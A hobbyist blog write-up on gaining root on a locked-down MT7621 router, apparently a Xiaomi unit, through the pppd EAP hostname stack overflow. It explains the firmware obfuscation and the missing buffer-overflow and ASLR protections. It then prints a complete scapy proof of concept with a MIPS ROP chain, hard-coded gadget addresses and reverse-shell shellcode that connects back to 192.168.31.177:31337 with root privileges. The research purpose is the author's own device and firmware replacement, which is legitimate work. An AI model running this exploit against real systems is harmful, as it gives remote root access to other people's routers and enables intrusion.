So it’s late February 2020 and we’re all starting to realise that we’re going to be sitting at home for a while. Some are cleaning, some are baking, and some of us order cheap routers off of AliExpress to flash and replace their old hardware with.
I picked one of these, as the specifications seemed quite decent in comparison to the price that was being asked. (There is an almost identical in specifications unit being sold by the same manufacturer here, which through some sort of horrible coincidence has the exact same memory layout and ROP gadget addresses)
At a glance, while the CPU and 802.11ac radio seem very good for the price (~60 AUD delivered for a MT7621 and a 4×4 802.11ac radio), the manufacturer has locked down the bootloader, disabled serial rx and no longer allows you to flash unsigned firmware images. 🙁
No obvious command injection vulnerabilities in the interface jumped out at me from old dumps of the lua running behind the scenes, and the existing ones (such as these two) appeared to have been fixed.
Okay, so we extract the firmware image and look for some new ones yes?
Nope! They’ve compiled it all to Lua bytecode and attempted to complicate analysis by doing a number of things:
- Changing the Lua magic to ‘Fate/Z\1B’ (Perhaps they were watching Fate/Zero while coding this obfuscation.)
- Mixing up the order of some of the fields in the header
- Obfuscating the strings with a xor loop (Everyone loves these)
- Changing the internal type numbers (They just added 3 to all of them)
- Scrambling the opcodes and adding a couple duplicate opcodes (Probably the most annoying of all, but not hard to bypass since you can run the Lua binary you have extracted from the firmware image in QEMU and do comparisons to figure out the opcodes.)
And then I notice this security advisory on the OpenWrt forums one day, with the accompanied text…
OpenWrt by default enables the _FORTIFY_SOURCE=1 compiler macro which introduces additional checks to detect buffer-overflows in the standard library functions, thus protecting the memcpy() abused in this overflow, preventing the actual buffer overflow and hence possible remote code execution by instead terminating the pppd daemon. Due to those defaults the impact of the issue was changed to a denial of service vulnerability, which is now also addressed by this fix.
OpenWrt security advisory, https://openwrt.org/advisory/2020-02-21-1
Since I’ve already extracted the firmware image and determined that it’s some sort of OpenWrt-based image that’s ancient… Why not take a look at the binaries and see if they’ve remembered to turn on said option?
…oh dear. Well, since we’re here let’s take a look at the function mentioned in the advisory.
As you can see, eap_request saves the stack in the function preamble
However from this commit, we know that the length of the remote hostname is not being validated properly. (I’ve renamed it in the stack for clarity)
Thus, if we serve a hostname that is longer than 256 bytes, it will overflow it’s allocated space and spill over into parts of the stack where the registers are loaded from in the function epilogue before jumping to the return address. (Ie. A stack overflow)
Since we control the return address and registers s0 through s5, we can use existing code within the application and loaded modules in the virtual address space in order to execute arbitrary code, a process known as Return-Oriented Programming.
This requires us to do two things in order for it to execute in a reliable manner:
- Call sleep(). Since we are doing this on a MIPS processor, the area we have just written our payload to (ie. The memory area within the stack), does not exist within the instruction cache yet. The easiest way (and cleanest) way of flushing the instruction cache is to call sleep()
- Jump to our code on the stack
Since I was unable to find a clean enough ROP chain in order to call sleep() and jump to an offset of the stack pointer, we just jump directly to a hard-coded address on the stack. Since there is no Address Space Layer Randomisation in place here, the payload we send is placed on the stack at a predictable address on every unit sharing the same firmware.
Those who are more technically inclined may be asking, how do we know where the code is loaded at for other modules? The base addresses for them won’t change, but how do we acquire them in the first place?
Normally we would need to be connected via uart in order to see the core dump and memory maps printed, but on the device we are looking at today, we have a handy endpoint within the web ui which creates a tar.gz of various log files including the syslog. That and I didn’t have a uart adaptor around or the desire to open up a brand new router to solder a serial header onto.
Now we just look for appropriate gadgets, stick their addresses and the payload into the correct place within the hostname in the packet and…
from scapy.all import *
from socket import *
interface = "enp0s31f6"
def mysend(pay,interface = interface):
sendp(pay, iface = interface)
def packet_callback(packet):
global sessionid, src, dst
sessionid = int(packet['PPP over Ethernet'].sessionid)
dst = (packet['Ethernet'].dst)
src = (packet['Ethernet'].src)
# In case we pick up Router -> PPPoE server packet
if src.startswith("88:c3:97") :
src,dst = dst,src
print("sessionid:" + str(sessionid))
print("src:" + src)
print("dst:" + dst)
def eap_response_md5():
md5 = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10"
# Reverse shell, connect to 192.168.31.177:31337
stg3_SC = b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += b"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += b"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += b"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += b"\xf8\xff\xa5\xaf\x1f\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += b"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += b"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += b"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += b"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += b"\xab\x0f\x02\x24\x0c\x09\x09\x01"
reboot_shell = b"\x23\x01\x06\x3c"
reboot_shell += b"\x67\x45\xc6\x34"
reboot_shell += b"\x12\x28\x05\x3c"
reboot_shell += b"\x69\x19\xa5\x24"
reboot_shell += b"\xe1\xfe\x04\x3c"
reboot_shell += b"\xad\xde\x84\x34"
reboot_shell += b"\xf8\x0f\x02\x24"
reboot_shell += b"\x0c\x01\x01\x01"
#Debug sleep
#s0 = b"\x00\x00\x00\x00"
#s1 = b"\x40\x61\xF1\x77" # uclibc sleep() base + 0x6c140 = 77F16140
#s2 = b"\x03\x00\x00\x00"
#s3 = b"\x01\x00\x00\x00"
#s4 = b"\x0c\x93\x40\x00"
#s5 = b"\x00\x00\x00\x00"
#Debug reboot
#s0 = b"\x00\x00\x00\x00"
#s1 = b"\xB0\x9B\xEB\x77" # uclibc reboot(s2) base + 0xfbb0 = 77EB9BB0
#s2 = b"\x67\x45\x23\x01"
#s3 = b"\x01\x00\x00\x00"
#s4 = b"\x0c\x93\x40\x00"
#s5 = b"\x00\x00\x00\x00"
#ra = b"\x04\xdb\x40\x00" # 0x0040db04 : move $a0, $s2 ; move $t9, $s1 ; jalr $t9
s0 = b"\x40\x61\xF1\x77" # uclibc sleep() base + 0x6c140 = 77F16140
s1 = b"\x01\x00\x00\x00"
s2 = b"\x41\x41\x41\x41"
s3 = b"\x00\x64\xFF\x7F" # 7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]
s4 = b"\x88\xe1\x40\x00" # pppd.txt:0x0040e188
s5 = b"\x00\x00\x00\x00"
ra = b"\x0C\x81\xF1\x77" # libuClibc.txt:0x0006e10c 77F1810C
rop_chain = (b'A' * 0x184)
rop_chain += s0
rop_chain += s1
rop_chain += s2
rop_chain += s3
rop_chain += s4
rop_chain += s5
rop_chain += ra
# Nop slide
rop_chain += (b'\x00' * 0x100)
# Small reboot shellcode for testing
#rop_chain += reboot_shell
rop_chain += stg3_SC
# Just padding the end a little, since the last byte gets set to 0x00 and not everyone uses a 4 * 0x00 as nop
rop_chain += (b'\x00' * 0x4)
pay = Ether(dst=dst,src=src,type=0x8864)/PPPoE(code=0x00,sessionid=sessionid)/PPP(proto=0xc227)/EAP_MD5(id=100,value=md5,optional_name=rop_chain)
mysend(pay)
if __name__ == '__main__':
sniff(prn=packet_callback,iface=interface,filter="pppoes",count=1)
eap_response_md5()
There you have it, a proof of concept that will pop open a reverse shell back to you. The lack of user separation in the stock firmware, also means that since pppd was running as root on the device, so you have root privileges.
From there it’s a small leap and a jump to OpenWrt or other firmware.
Unintended side effect: I think I accelerated global sales for what was then a China-exclusive product?
Of course all of this became moot when Xiaomi went and forgot to obfuscate their Lua scripts within an early version of the AX3600 firmware, and someone found a big gaping command injection vulnerability in it. That however, is a story for another time.